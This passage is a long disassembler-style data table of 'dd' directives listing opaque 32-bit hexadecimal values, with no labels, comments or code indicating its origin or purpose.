		dd 4A0D9D29h, 57CFDC1Eh, 9FC759BFh, 67315F29h, 0DD72A7D6h
		dd 95002235h, 1391B382h, 3B1E032Ch, 0EB80D1F3h,	0F29ABAC4h
		dd 55C019C8h, 7E313D48h, 0F3800B18h, 82D896E4h,	844E9E8h
		dd 678A0142h, 0F5E6BC84h, 0AC2E7DF6h, 7F098C17h, 0FF1FF1E0h
		dd 0F88BC218h, 89D29895h, 506EE38Dh, 0A74BA329h, 7FB7B02Eh
		dd 0E493EA0h, 14C2F0CBh, 12F6BB95h, 0AD1A0172h,	17BFD35Ah
		dd 0A77FA8B9h, 5F498DC5h, 0B5B158FBh, 7A12EE37h, 3D7DC8B1h
		dd 0A826E5B8h, 4E25CBF0h, 60CE8DBDh, 0E769FF5Fh, 1266D2D4h
		dd 0B0B72755h, 5917D74Ch, 0C881252Eh, 6C000D3Ah, 686B57B8h
		dd 81DEEFh, 4BE5033Ah, 5661F1EAh, 54B67817h, 417D790Bh
		dd 0CA6B5F22h, 0C18BA274h, 0E66BF95Ah, 0BB660400h, 73CC8DA3h
		dd 85C1004Bh, 47EC78FCh, 0A1009DF5h, 0F49B7EB3h, 13966155h
		dd 0F2525057h, 16BA00FFh, 2912EE64h, 4B5C0204h,	5F51310Fh
		dd 6048A657h, 63B90F6Ah, 0B5F7612Ah, 0D1F6C21Dh, 9C59D840h
		dd 0C8740D11h, 5B6A5B75h, 7F2EC065h, 49313E51h,	15B8C5DBh
		dd 831C5E8Ch, 10F41DC3h, 4FAD5BCCh, 7AD48D4Ah, 0EC36C8h
		dd 3D39D7B8h, 0EA714778h, 86E19F01h, 0A5F8092Dh, 7F98C16Eh
		dd 48CB2A19h, 505E3422h, 91C1A0BCh, 0E0B67DBCh,	0E394DC46h
		dd 66A8740h, 0CF2C0072h, 0BAC9956Eh, 0DD045469h, 353130A3h
		dd 5F5C31BEh, 0E0182B61h, 56CBCF84h, 1BE29171h,	9DB630h
		dd 4C9AEF64h, 0F78134ABh, 0C0BD209h, 97D75A4Eh,	0F2D00AF3h
		dd 722A1DE0h, 0DE200248h, 5061D68Ch, 84162E7Dh,	1AAC8EADh
		dd 5DF1018Ch, 42E3C0ADh, 0B1C53B9Ah, 21ADBC56h,	8C18ACh
		dd 6011F0D0h, 69B58940h, 88B3354Ah, 984F528Bh, 0EE801360h
		dd 0CCD93AF6h, 0B3F5CB92h, 2FB4ADEh, 2F11BDD2h,	0F4D0C605h
		dd 1F98DCD3h, 0A2E97B50h, 0F1176600h, 0ECF46404h, 58C0743h
		dd 714E88E8h, 2B0D1FBDh, 1623D97Bh, 402DC17h, 0D5B9BD01h
		dd 512031E4h, 5BE92528h, 0C1DADE63h, 0CE385561h, 28628EFFh
		dd 0E0810027h, 51C48799h, 5FBB9295h, 0A600EABDh, 338FB6F5h
		dd 0D523123Eh, 79DFB153h, 0BE50246Eh, 4F038460h, 71EF0401h
		dd 0B7942902h, 0BA600181h, 8ABC654h, 524AF738h,	80DB9B0Ah
		dd 10520782h, 50AE12DAh, 4FA8ACF5h, 0D88039DBh,	0DF27AA16h
		dd 0DC79FD0Eh, 85310258h, 5BF8703Dh, 0C780DB6Ah, 0AE007C86h
		dd 0AD7815Fh, 5A9562F2h, 0A40402CEh, 187706B0h,	7B4EE46Ah
		dd 3BF600D0h, 5668EC6Bh, 5E049FE1h, 9E573523h, 5C093C1h
		dd 726C6E3Ah, 0DC9EC909h, 852E0297h, 9D230226h,	54A5745Eh
		dd 55EB02B6h, 6157BB50h, 0B0EF699Ch, 6BF5A301h,	5B5C7A76h
		dd 0BB8FDA2Ah, 0BF770160h, 4E321C99h, 0E47289D6h, 2AAE7071h
		dd 0DD358049h, 31838A46h, 0A1BE59EAh, 0B4DC2A2Ah, 29533F60h
		dd 93CCC12Eh, 61610D58h, 0CAB3D0DDh, 6CD1FF26h,	0A2AC0A96h
		dd 662C5EE2h, 9219BC49h, 680EFE02h, 585F4B53h, 2C729FF9h
		dd 165364AAh, 9786E670h, 18919D35h, 62EF1C80h, 709D73E1h
		dd 0BFE92589h, 0E089AC7h, 37DB25A4h, 186A3B78h,	6A60B7F2h
		dd 0BD0BBFC0h, 8E7DC5CDh, 37DAE967h, 57A58007h,	4FFEA14Eh
		dd 4C685216h, 797904FFh, 6774AB2Eh, 176FD9D0h, 0DE8B2D90h
		dd 79D83287h, 26D37FFh,	9B9EAED1h, 0FFC60EC2h, 149FF71Ch
		dd 1DD8D600h, 4309E55h,	5E189BE2h, 4AC2B8A6h, 19F273F3h
		dd 99A5030h, 1B635D57h,	0E90CC473h, 0F6B10B06h,	905012F7h
		dd 9C6E33Bh, 7259BD09h,	0E976FB73h, 706871F1h, 1E40A1E3h
		dd 8A3EEF0Fh, 0EAA35A6Ch, 0BA371796h, 249BC256h, 0C82009Fh
		dd 3746288h, 0A82DFF13h, 0A67AE389h, 0C9C501ACh, 8D896D0Ah
		dd 4BA4D0E6h, 0DFAB995Fh, 0BD893B09h, 736BD799h, 0DA13410h
		dd 535B9858h, 7F82AEB4h, 918B5CFCh, 0A8E24ADEh,	125BE300h
		dd 681BD834h, 6B2B7F02h, 0DD3166FCh, 5B4BE644h,	80E9A082h
		dd 8AF1051Bh, 76BA07F4h, 92CF297Fh, 0D9755289h,	0E1C1126Ch
		dd 96D7299h, 0FC7CAEDFh, 0E12F12ACh, 0AF886FA5h, 584D0F48h
		dd 29E0AB6Bh, 0B3775915h, 41B93F4Fh, 656F0ED2h,	0D14B76F0h
		dd 0C5B04F25h, 2EEF0F81h, 1697AFBEh, 0C730FF8Eh, 9774DFF7h
		dd 0F78EB009h, 0C4AFAD32h, 0D6224F1h, 5BF85720h, 113D67E9h
		dd 78B91BBh, 0AEB82A37h, 0CFEF6498h, 0A889214Bh, 0B8732BF6h
		dd 0CC7EBB01h, 1E40A583h, 2842B7FEh, 3F599589h,	28A58501h
		dd 6F50235Eh, 0EDB04F0Bh, 0EDBC3Ah, 0C0948569h,	0D67A1580h
		dd 0A2BB48C0h, 9743284Ch, 41D88A1Bh, 7E0930A7h,	7FB9FE8Bh
		dd 6C7F56C2h, 4BBF7D6Dh, 0ED608405h, 162DB8E9h,	47F1D2Ah
		dd 1833F94Bh, 5A8C8058h, 82BD9BFCh, 891AE6CBh, 0C46176E3h
		dd 14A2BC60h, 32FA22F9h, 5561ED69h, 0C157A084h,	0E55BDBFEh
		dd 0C0DF6FBAh, 7BCBA580h, 0C20645B6h, 526082EAh, 5FEB057Eh
		dd 832B5ADBh, 815A30C3h, 0E9D393A6h, 4BBAA83Ch,	0D93BCD6Dh
		dd 5312F86h, 0CDC612DBh, 0C006E095h, 0C14B7082h, 0A6BEC094h
		dd 0B28CE024h, 36320911h, 0FFD1645Fh, 7AF34E00h, 3487704h
		dd 0CA72ACFh, 8BAF763Fh, 96983D46h, 0A5588538h,	0A0B2C66Dh
		dd 0B7C32DB2h, 0BB76AC71h, 804F017Fh, 3AF6D4CAh, 951C4AF6h
		dd 0B27BE501h, 68633C01h, 98801DF7h, 0C78134BCh, 7425C0C5h
		dd 13B3C54Eh, 3853E360h, 5F75EB8h, 0B2779EB0h, 79C8DA2Fh
		dd 15081C2h, 3E12A59Dh,	0FF85B6B2h, 0B83FF9E1h,	401E1F43h
		dd 1D604958h, 2C43D371h, 0ABA68404h, 8FF6DCF0h,	25977302h
		dd 445B395Dh, 97697CE7h, 1025CC14h, 4598CF04h, 0DC82EBCBh
		dd 10BB6129h, 8DD5B33Eh, 532757A8h, 0A6B3A6A1h,	8040DC62h
		dd 9F6056C7h, 0E5C0E9CDh, 1C3E4396h, 6C573F33h,	82D860B1h
		dd 58011198h, 0D2773E1Fh, 0F82A5FAEh, 2EAD9258h, 0E1DAB712h
		dd 82DB2FEAh, 69644996h, 6EDD4BE2h, 0FD4D95B2h,	0A7348FC0h
		dd 0FD610026h, 450C55DBh, 9D84810Fh, 771FF5E4h,	608184D8h
		dd 0CC203E5Eh, 2010CD2Fh, 0D40DDF9h, 0B0BA955Bh, 80527CFBh
		dd 0DD4E9B00h, 0E77DE2E5h, 0EB41352Fh, 6E30CC8Dh, 90144009h
		dd 0B75340B5h, 0B944ED2Bh, 0A6FF12BFh, 0C858E188h, 0F0BD9B60h
		dd 6860C015h, 0EC24EBE7h, 187AC195h, 4E13FAC4h,	5924EB51h
		dd 15B8E0ADh, 0E7432E8Ch, 0B49D1786h, 0F2B5B0Eh, 1D09B88Fh
		dd 0FBBBF515h, 5E13216h, 20A075EEh, 0BDC23625h,	0D6BF052Eh
		dd 0C794F200h, 10C17DBh, 6D7BF80Fh, 7F237745h, 258A258Ch
		dd 9EC5FD8h, 66B0BD6Dh,	0CC0D342Eh, 2B00C134h, 0ED2ADD05h
		dd 4D6B4AFh, 8B855624h,	0D2D9FAB2h, 0E76BA9E9h,	5410B0D7h
		dd 19700BCAh, 90D83763h, 0C9BD032Dh, 0DB3F8963h, 2973C15Fh
		dd 0A66F95BBh, 4C17B25Bh, 0C8409DDh, 447FB8CAh,	57E2000Ah
		dd 9EF62DF5h, 0E04C6193h, 5BC5EB9h, 0BB6AB577h,	0BE4AC460h
		dd 7A66BDh, 621D7F0Ah, 0AB070137h, 0C05FF5CBh, 27D3804Dh
		dd 0C8E252EBh, 2E5BA949h, 0DFFCD034h, 1ABA6802h, 6648B854h
		dd 0CA2FE945h, 7027D347h, 3E00BBBCh, 0FABF66FBh, 0BD858D1Ah
		dd 1D91F19Fh, 0B2252A80h, 83007A10h, 116A789Ah,	5A50FB8Bh
		dd 299A8860h, 2332CC00h, 0CA21C4A9h, 9C3C00BBh,	7764A5AAh
		dd 5F136160h, 64305250h
		dd 1CD30AEFh, 4995D45h,	0EF5EAAE5h, 0D05BB4A3h,	0F027C92Fh
		dd 93E75949h, 0F58131BEh, 0F05A2661h, 0BDA91C8h, 0C57CE175h
		dd 0E9C1B620h, 0BD1029E4h, 8A6E07B5h, 0AE3211E4h, 282B1C3Dh
		dd 8B990D48h, 14216D88h, 0A090ADE9h, 0B91B8E4Bh, 0DB1F846Bh
		dd 1D4BC2FEh, 51FA5C56h, 0FAE76F2Bh, 3107F7B0h,	35504200h
		dd 9BE3986h, 126520BDh,	61C7E181h, 13CA0B44h, 7ABF03EFh
		dd 9D017ABCh, 28E58E7Ah, 8D5699BEh, 2CE31770h, 0BFE0CC02h
		dd 0A523513Bh, 0F71FEA13h, 0BB414A4Fh, 523063F9h, 91852729h
		dd 9D2B0E80h, 39970551h, 4978F59Ah, 3AE0D28Eh, 89DCD85Fh
		dd 6441DB00h, 4050C793h, 9467259Ah, 0B73B2CE6h,	4D950D34h
		dd 0B53B5629h, 0B8CF2961h, 0B9CD5B7Dh, 0F2D4C46Bh, 0C8ECDAAAh
		dd 0E44FC118h, 89F1F443h, 206D9512h, 9AD71CF2h,	99AE9399h
		dd 18352EB0h, 149D3E81h, 0D6E1A23Eh, 9681599Ah,	772FC195h
		dd 49850B24h, 79D25B25h, 12E41817h, 0B86AD361h,	0B1A6CE05h
		dd 2112494Ch, 0ED2BAB33h, 0A0136580h, 0F38BE9Dh, 2E685183h
		dd 38602223h, 8040C172h, 0D98DD226h, 0C2EB818Eh, 557E1738h
		dd 0ACA346B5h, 0E563A782h, 168E77EBh, 0C010ED37h, 0B4CEE781h
		dd 500724BBh, 0A06E0949h, 0C1A4732Ch, 4F4F5BBEh, 115003Bh
		dd 5BAE6675h, 602B2761h, 9C3D84Ch, 891A601h, 815F79BEh
		dd 9DF78BAh, 0E85B5BCCh, 9A181D59h, 1CBB6A00h, 13F0DC8h
		dd 0A18A4E7Fh, 3C8A6AC5h, 0F9CC71A0h, 69DB1497h, 0D4F62468h
		dd 46F200DEh, 0ABD5B1D1h, 965E6B1Fh, 0E4494421h, 39F7E0F0h
		dd 988BFD25h, 2380956Ch, 5A52CA8Bh, 95BD97h, 46CB9A4Ch
		dd 0E1953A58h, 1360B654h, 2575259Dh, 18E4AFCDh,	4EDAB060h
		dd 99E0AE4Eh, 0D80A5A09h, 8D004027h, 38B4E9F8h,	55BF51Dh
		dd 2F2A877Ch, 7ECDFEFAh, 35167C6Ch, 0F17ABB21h,	75924213h
		dd 0AD2984AFh, 68DAD7F3h, 8208F284h, 67DDD563h,	31389AE2h
		dd 0EF6ACC56h, 0E5C2C916h, 60B1CFC6h, 0CEA393C0h, 235840Ch
		dd 5A795845h, 0D34FB309h, 0A92F646h, 0CA920B4h,	0C153E925h
		dd 0C1F1F9B7h, 0BFF16066h, 0C3752E91h, 4976ABBh, 7DF78087h
		dd 27EB7384h, 0B6B1615Fh, 12A43F63h, 545D028Eh,	5E567A21h
		dd 73257D51h, 0FD20710Bh, 0D6206A49h, 639A74h, 0CB07E16Eh
		dd 2B13D61Dh, 0EC9F3F04h, 0CCE7DF3Ch, 8D437BA0h, 0A5CE68BDh
		dd 9B01822Fh, 0DAB0B3F5h, 2B842CB5h, 21AB0C52h,	108F1EAh
		dd 0F83C5150h, 6A952980h, 0D27A9B4Ch, 0FEEE5809h, 44B8545Bh
		dd 2724B829h, 0FBB7776Ah, 1C0AFE00h, 4AE6C909h,	5E92E3B8h
		dd 1DE16417h, 0A0B9F77Eh, 5FA24753h, 0FED02B1h,	0A25CFEBFh
		dd 81021E6Ah, 0D55FF556h, 9CCD49BAh, 0A32A7360h, 32C1257h
		dd 1B22EF9Dh, 0DC6876D1h, 0BD3BD00Bh, 2E70384h,	5D039A2Dh
		dd 0D00E049Ah, 0D4C7253Ch, 5DED7B13h, 0A52F38ECh, 0E440100Ah
		dd 0F20704E2h, 0A8026AD2h, 9C8ECAh, 64B8538Eh, 28B9758h
		dd 0ED899ED4h, 6B04FF8Fh, 530C1BBCh, 404311Ch, 0AA1AA728h
		dd 1304F58Dh, 21F50EBh,	70BF3C54h, 54C02D82h, 3F31338Bh
		dd 5769E57h, 0BCE95F42h, 58F15C0Ch, 6080B3FFh, 96609D53h
		dd 5B16D97Dh, 4918B0Fh,	12309AB1h, 1ECD2595h, 989DB0CEh
		dd 4E512B7h, 0B76F8EA4h, 0C9DAC1B5h, 9061011Ah,	0DFC46447h
		dd 90D5251Eh, 4DB9B73Ch, 0B6BC9F90h, 36C89F5Eh,	0CDC438D5h
		dd 6223CBDh, 23CE0802h,	788FABE5h, 0E65B4A0Fh, 3015E28Dh
		dd 891CDC8Eh, 5625A59Dh, 94DB5211h, 250DC570h, 0E1C69E7Ah
		dd 154C4C90h, 81409F01h, 0FA0C8DCBh, 2CCDB068h,	0F6F02FF5h
		dd 0BB41DE01h, 3072F75Bh, 0ADE4846Ah, 0A5E08897h, 82D54389h
		dd 75DABFDBh, 5EF7D8C8h, 4B2B3C41h, 3356C78Fh, 4B9A5E6Bh
		dd 0BDEE1055h, 0EF1800B2h, 7499A94Eh, 260935F0h, 71C27607h
		dd 0EB8A167Eh, 0DDB5C544h, 0A1D5FC62h, 28E1BD2Dh, 9DB2EB04h
		dd 0EAC82B13h, 0B5F52898h, 41252044h, 8935711Eh, 0C6572EE1h
		dd 0D2D49DF5h, 49950940h, 8533CB15h, 78C1A9FFh,	83889527h
		dd 8BD92405h, 2E560529h, 0F398005Ah, 7FBBC586h,	39F10913h
		dd 52512FE9h, 4D12D5A5h, 2A44F600h, 11971D72h, 95171785h
		dd 0FE150CA5h, 4136DB5Ch, 95A482C4h, 9C207894h,	403F9415h
		dd 13C19111h, 0F713D3FAh, 4DF66A9Eh, 486F99F0h,	2B9AA5BAh
		dd 597C53B7h, 2F8C6614h, 0C03012F8h, 0AEF2D3h, 299EF79h
		dd 62449EC1h, 0B9F1980Ch, 2580D328h, 0A1C09ACFh, 361D66BBh
		dd 52967CFBh, 0C02B6E04h, 366EFEh, 0E79257D9h, 4E2B2D4Dh
		dd 83659BD2h, 0E8A4EBB5h, 0E22CE980h, 0AD2E4E01h, 8C1CFCE3h
		dd 6101E77Ch, 0C07BAD86h, 0E22A78A1h, 0E99B5B27h, 634FED2h
		dd 59353ACh, 0EB159732h, 1C23BB6Bh, 3E0B6000h, 12D1B54Bh
		dd 0E3337646h, 38225840h, 0E0A84AE9h, 0F79056BCh, 5B209520h
		dd 9296E5Bh, 2217B2Ch, 731ED67h, 2B3D6289h, 45E79C55h
		dd 2526BB25h, 3DC35B13h, 2159858Bh, 77EBE254h, 0E1FF0398h
		dd 0D521FA83h, 14F9E31Ch, 282AC2A1h, 3892CD2h, 95129DF4h
		dd 0E374B39Ch, 9AFD2AE1h, 0B5F884B9h, 81C83091h, 6E605BDAh
		dd 4F8400B0h, 35453BF8h, 20D72659h, 9F41A581h, 0E33D40E9h
		dd 0A227CD83h, 7792572Fh, 0BE3C10FDh, 0F96925A9h, 0C381B560h
		dd 60F78D0Eh, 0DF314905h, 2B61DE11h, 503BA149h,	0E0B2AD93h
		dd 74C43629h, 453E7D05h, 0C956FB1Ah, 0C1BB4435h, 259FA5FAh
		dd 5FE87D21h, 1C232C6Bh, 526D3603h, 0F683A04Eh,	0D0CE6964h
		dd 0F8641374h, 3ACB9DAAh, 32006D6Ah, 35C98645h,	85029BB5h
		dd 0E18D893Eh, 705B4406h, 7F908175h, 5F77ECE6h,	0BBBC538Bh
		dd 90FE9770h, 94AC66B7h, 0BF1CBC68h, 53406078h,	14FDBE5Ah
		dd 615E01A0h, 76DF86B8h, 355DA2Ch, 0F2CD9B23h, 0F9A88478h
		dd 14DD8ABFh, 3FDCDF80h, 0D5A95F85h, 0DE043AECh, 1DDE9E6h
		dd 7827AAFh, 381AF093h,	2E225B40h, 12ADBA60h, 0B661C58Ah
		dd 499D08ACh, 0D3815029h, 83FC540Bh, 17C5DE2Bh,	466FEB11h
		dd 681325Dh, 7C51B195h,	0CE923C28h, 8C88C9A9h, 4A56034Bh
		dd 2D0B9BF5h, 8BDA89A8h, 78D37B9Dh, 0CA1C2D01h,	0D6E8A85Fh
		dd 5B33F925h, 0DC90AFCFh, 66038E7Dh, 5790DCB1h,	0BD33E893h
		dd 28246575h, 30DEFA5Fh, 0F46208C0h, 632CAF52h,	6701316Dh
		dd 14F58509h, 96006D33h, 0D2D6D0BFh, 604B5046h,	0F83A80CDh
		dd 13EA97FAh, 1625ECB5h, 32AC1C5Dh, 0C13A9AB5h,	0CA84F5BCh
		dd 43EECC1h, 0AB85E376h, 0BB02498Ah, 11052B31h,	4B3D90C3h
		dd 0E83A8360h, 7E614ADAh, 8A5212AAh, 0FAC4C2DDh, 0B343630Ah
		dd 37EBBC08h, 8DF491A9h, 0F8947985h, 1A9419C7h,	3CD99854h
		dd 0F158499h, 0C8299BABh, 459EC01Ah, 0F7738F3Ah, 0CF815902h
		dd 6215E1E7h, 0BC9E7F1Dh, 80393597h, 20DFB426h,	2D9682A7h
		dd 0FB115FC9h, 5282BF9h, 4241962Ch, 0E9033495h,	0E6145F3Ch
		dd 0A270F775h, 0F1F14D03h, 0E4EE3A2Bh, 290C05C2h, 433E677h
		dd 0F66740D7h, 0D7319B3Fh, 924837FCh, 14059509h, 1C47467Dh
		dd 801BB482h, 79635B32h, 0B600D54Ah, 3E6E562Fh,	966C230h
		dd 5FE5D9BBh, 0D0461F71h, 0BCC0958Dh, 803A707Dh, 0F46129D8h
		dd 5703BA62h, 7503FA3Dh, 907DB51Fh, 13BB7ED3h, 0EE2B57C0h
		dd 1D867F25h, 0BCDE959Eh, 0A5E57EAFh, 0ACD8035Bh, 10D100F7h
		dd 7B3C2883h, 0A1908B91h, 4321CC09h, 8229711Ch,	11698D01h
		dd 5C5A8156h, 1000D4F5h
		dd 29BA893Dh, 256D6A3Ch, 0F590B53Eh, 0C20070CDh, 0F91DD4A7h
		dd 9B9BCEDh, 3605FA95h,	94A83D8h, 13D31AADh, 36FA927h
		dd 3C50BB96h, 0E74EFFF4h, 2E55BD2Bh, 3EF029AAh,	3D1AB7B6h
		dd 95DED20h, 0F3AD52Ah,	0B5550962h, 801A911Bh, 0A3D108EAh
		dd 1E680184h, 5B33DBFh,	43E193Ah, 0B81D5FC5h, 0EF81DE02h
		dd 7B581093h, 4AF9A36Bh, 4281C134h, 76904C2h, 660546B8h
		dd 1AD18501h, 7977D9AFh, 7D2FA8B2h, 0A40904BFh,	0B9856B32h
		dd 36B6D200h, 89BD5EA0h, 4AB73A3Fh, 0ABBDFBC5h,	0BE012CECh
		dd 8B3BD6B5h, 4A628D89h, 595E6A25h, 48ED62DEh, 0DE090795h
		dd 0B737288Bh, 0F0DBAB7Bh, 26BFB70h, 80E1362Ch,	6C7F42F3h
		dd 7059BDDFh, 0DECD9616h, 0E350F230h, 0A5083E9h, 9E965BF8h
		dd 8752C8D3h, 0A92DBD31h, 0D8E9D556h, 3112254Bh, 5313E465h
		dd 0F377BBAh, 0CB069BE0h, 0A134C192h, 0C44B962Ch, 3FF6FB0Ah
		dd 0A0F17BE0h, 71FE0B0Bh, 56D1F063h, 532D7706h,	2B2F1761h
		dd 77689729h, 0D292AD5Bh, 474886BAh, 0D88CDB9Dh, 0AA01D96Ch
		dd 4DD75CD0h, 342B381Dh, 0A287A8AAh, 65085466h,	372DAA0Ah
		dd 80A69A2Fh, 66ACFA62h, 22F22AB7h, 0BF154094h,	3443CD04h
		dd 7AEFC60Dh, 0A4A00DFh, 5A78EAA0h, 432B02D7h, 29A5B509h
		dd 7C7AB556h, 0A1314097h, 0EE056A7Fh, 9CB2F9B8h, 0F7EC37ABh
		dd 0E9492CB5h, 0FFF4701Ch, 70077B6Fh, 420043BAh, 0D598C63Ah
		dd 95C18BFCh, 2B095537h, 729A8063h, 2D7ACA06h, 6C53BD95h
		dd 28E9923Ch, 0FA6ACCAFh, 0F8070482h, 0BCC6BB00h, 0FCBE17E0h
		dd 0C7E1EDC9h, 2CABE071h, 21908976h, 4A75C159h,	8F82C99Eh
		dd 0BBC0BCC9h, 0B0B72501h, 196C3AD2h, 5CD7163Fh, 8F8141F8h
		dd 43C03EC2h, 9F0A81BDh, 35699BD6h, 499F808Ch, 0C745FD53h
		dd 8B906209h, 56645DFEh, 2BF9A01h, 46250677h, 39F4F8D4h
		dd 88CA26D0h, 9100EEBBh, 0C6A5FC80h, 16523CB1h,	0F6905F47h
		dd 0ED56E0D8h, 7B920023h, 0BB663B1Fh, 0BFE82C40h, 541C1E30h
		dd 9A959D09h, 0A0FBBD9Eh, 35A390D3h, 0CDAC01D7h, 5D9D0BC5h
		dd 0DDC15C26h, 50CE1709h, 82F359C1h, 791B589h, 0C088BA55h
		dd 803205EEh, 59B5D1FFh, 5B72669Ah, 0B9327198h,	0E902C528h
		dd 0BB000544h, 611D27AFh, 0B8B09018h, 7501568h,	986353BFh
		dd 7E76CB5Bh, 90B42DDCh, 0F6B46AF1h, 0FB8395EBh, 71D2B7DAh
		dd 0C0083300h, 0AA04EABAh, 25E9CA83h, 0C9EDA2AEh, 5C630B99h
		dd 101FDEA3h, 0F381AE5Eh, 187F5C4Eh, 0EEF03336h, 1BE0AF79h
		dd 0E1B93000h, 85298F58h, 0DD024A31h, 0B8CD69D2h, 3FD1006Ch
		dd 10A967A5h, 6890774Bh, 0B7587C07h, 7D605039h,	9A4DB361h
		dd 0A814954Bh, 9E53595h, 0FDCB5D9h, 59A34609h, 75EF2DA7h
		dd 72EBC144h, 53570E16h, 30F5FAF5h, 5E40F539h, 0E15C1309h
		dd 0B4D52B3Fh, 61E0C1EFh, 0BD23CC6Ah, 84B1D948h, 0A19101B5h
		dd 622B1EB3h, 502CFEB7h, 31B3BEB0h, 3370E6BEh, 0F78C015Dh
		dd 72EA5231h, 81BC2Bh, 194EC781h, 64E469F1h, 0ADF98071h
		dd 9ED222CAh, 0C8B60401h, 9F20FE56h, 11648A8h, 0F9E22E1Ah
		dd 0E4B38B64h, 9302BABBh, 0DE9B58DDh, 659575Fh,	0F262F890h
		dd 517F0DC9h, 0A58504EAh, 2C813529h, 30062AE5h,	2B91E954h
		dd 2D53C824h, 5F861804h, 0DF0280AAh, 7A42E9A9h,	1E55BD08h
		dd 395C5249h, 3B1639BFh, 7435AB02h, 2D205CA8h, 0A9950109h
		dd 91C45908h, 6BBF0016h, 0E909D2FFh, 0F815D245h, 0E84CC01Dh
		dd 0C7BBF89h, 0FF8D8BCAh, 0B5722903h, 4DA8DDD2h, 0CD32ACA6h
		dd 84A51F1Ah, 81FE1Bh, 0C4041339h, 0B06312C0h, 8A252AA0h
		dd 20D56CF9h, 9E803A8Bh, 0BF9D3321h, 0B7FB0330h, 0F0DFA4F1h
		dd 659D89AEh, 0D2DD124Ah, 8C7E810Dh, 0B914F04Ch, 0C58109Eh
		dd 0FE5A07E7h, 0BA6000FCh, 284CFEA0h, 15209D01h, 0BE617E32h
		dd 1900DC3Dh, 34F8C2D3h, 13136C6Eh, 0F6C02B99h,	0B961E1A4h
		dd 909EC5C0h, 811293Bh,	0A1E912C0h, 0BBDA3FEAh,	19C21688h
		dd 0A6055D2Fh, 0D6A8E0DFh, 0E9CF204Ah, 1991B75Ah, 85932AF9h
		dd 12CBF27Eh, 49C4C18Dh, 9B93B6A8h, 2C5180B3h, 9EA9DB4h
		dd 6F669453h, 0EDB25280h, 7B9112E8h, 43918380h,	162BEA3h
		dd 4F85521Ah, 0EC4AD773h, 8A1222D2h, 29FF59E7h,	446A3BF1h
		dd 44EEA26h, 0EE810FF5h, 0B20095E7h, 4DECBE05h,	0D702D154h
		dd 2A16AE8h, 68085C79h,	0ACDB12B7h, 0F026BD47h,	0B4CE93B0h
		dd 0B7F92701h, 0EEA9FD0Fh, 87F8282Bh, 608DCF9Fh, 52F3A68Bh
		dd 8DB98405h, 0C0BEE657h, 0B8F8AEAFh, 0D73B18B5h, 0FDB55EDBh
		dd 0A418ACDFh, 0D891056Bh, 0AD213C4Eh, 0FBE127ECh, 282570A1h
		dd 5FF0FE17h, 1BF3107h,	94AA9620h, 5A149748h, 0D304662Fh
		dd 4F26D038h, 0CE62BB09h, 1237D87Ah, 0E26001DBh, 0D34D8B7Eh
		dd 7D95D8F5h, 588FD500h, 8BA6D3BDh, 4B55F489h, 22A28E27h
		dd 0CBF897E0h, 44E81E44h, 32005C12h, 0DD0B1593h, 9933C0h
		dd 7E2AD40Eh, 0A18719CCh, 24AAF55Bh, 10B2FEC1h,	5826A5Bh
		dd 0A8FB0F25h, 0AE3AC4BFh, 70A50CA6h, 0E3C21481h, 0D505C475h
		dd 1008A3F5h, 0C5D8804h, 314432ABh, 8019911Fh, 698C478Dh
		dd 0D8714AA6h, 0F8881200h, 9D7C0059h, 0BD305FA2h, 9F1CD9BBh
		dd 0C0C7C386h, 50FB6AE5h, 5B0B40C0h, 0D4C5B32Fh, 3397D650h
		dd 7056E672h, 0EF808055h, 50908302h, 76C68A60h,	524C409Eh
		dd 0AE28BEB7h, 6127B72Dh, 4047F090h, 0DBB5FC13h, 656CD037h
		dd 0E298AD0Ah, 9D0490B3h, 2B0E108Dh, 0D06A45CBh, 68002959h
		dd 42F16D50h, 4EB13B60h, 0C1B96682h, 0A35C5A08h, 0EE6EAF82h
		dd 0AF37D742h, 8E65901h, 322AEA7Dh, 64FD33DCh, 0C08B95BFh
		dd 800FBDDFh, 0E9DA8BACh, 359401AAh, 0D5158562h, 0F801BBDh
		dd 4726F596h, 0BB5D5CDFh, 0E4D66304h, 6762AB24h, 20A02E11h
		dd 99C0C341h, 79D0CD00h, 0D19842A9h, 5A21293h, 2AC5E12Eh
		dd 0B892BDADh, 72A88019h, 4B90164Eh, 0B3B18C01h, 5E894127h
		dd 0D52EDE6Fh, 9DE42455h, 5E358BABh, 0FEE0DEA6h, 0BA250BFCh
		dd 4DAEC243h, 0EA3DE048h, 8BA6D6F3h, 1B3F4700h,	6D178251h
		dd 0A3050469h, 0F250F598h, 28D6025Ah, 0D87129B9h, 0B40D89FDh
		dd 53DDD9E9h, 0B2DCA62Ah, 6AF53016h, 0DFA22C4Eh, 0E7FD9502h
		dd 515735FEh, 0B77F0071h, 0FF683BC5h, 0E084AD15h, 99280766h
		dd 7729F9E5h, 42956BC4h, 9A8440A9h, 0DC97B61Fh,	8C190300h
		dd 7B462C1Bh, 29F604A3h, 0EA286DB5h, 0A328719Dh, 902D3320h
		dd 0A4C35453h, 218D0440h, 0D3AFB901h, 19AD2DB1h, 0FE4A7850h
		dd 1BEC4CA9h, 3F56958Ch, 558529C0h, 9D7BC51Ch, 0A13CABA5h
		dd 0E9FC883Bh, 7B975070h, 7473D038h, 0B2162FE8h, 52B06EA2h
		dd 4028BC51h, 0CDDF3750h, 3029C602h, 5C5F1007h,	81C0759Fh
		dd 2742D5EFh, 65FB4CAFh, 0B060BC70h, 1D05208Ch,	0B58E2193h
		dd 0D321291h, 50865CFAh, 0DD820482h, 2B90B261h,	0EDF4AAA8h
		dd 0FFB8AAh, 6C12430Ah,	888A1DD7h, 14DFE19Dh, 4E7E617Eh
		dd 0A51ED883h, 59E5000h, 302644D2h, 329F6B5Ah, 2A5B4769h
		dd 1423BE6Bh, 78ED6312h, 0B9D8D82h, 8607B5DBh, 0FF39962Eh
		dd 9C5D002h, 4019EFF7h,	140ED998h, 74EDE101h, 2DB756E4h
		dd 8A39312Eh, 0D1DD6AF8h, 878A9A3Eh, 80F17884h,	856E8789h
		dd 4AD0B92Ch, 0D8FAC625h, 0DB00BE3Ch, 62DC1B9Ch, 0B156585Ah
		dd 38D58095h, 17B8ACD4h, 0F90021B0h, 72BD3148h,	99B2F71h
		dd 96615957h, 98E5A7Bh
		dd 7324C98Dh, 870F89B3h, 0D9165859h, 66A86DAAh,	651CB062h
		dd 8880251Dh, 8CD4ADC2h, 774697F6h, 6FE109Fh, 0F62117B8h
		dd 0DD87093Ah, 7CAF42DEh, 3886D678h, 4A0012FEh,	6648FE30h
		dd 977C64BBh, 60C7F708h, 6CFB93D8h, 49D10E00h, 3BD9CF4Dh
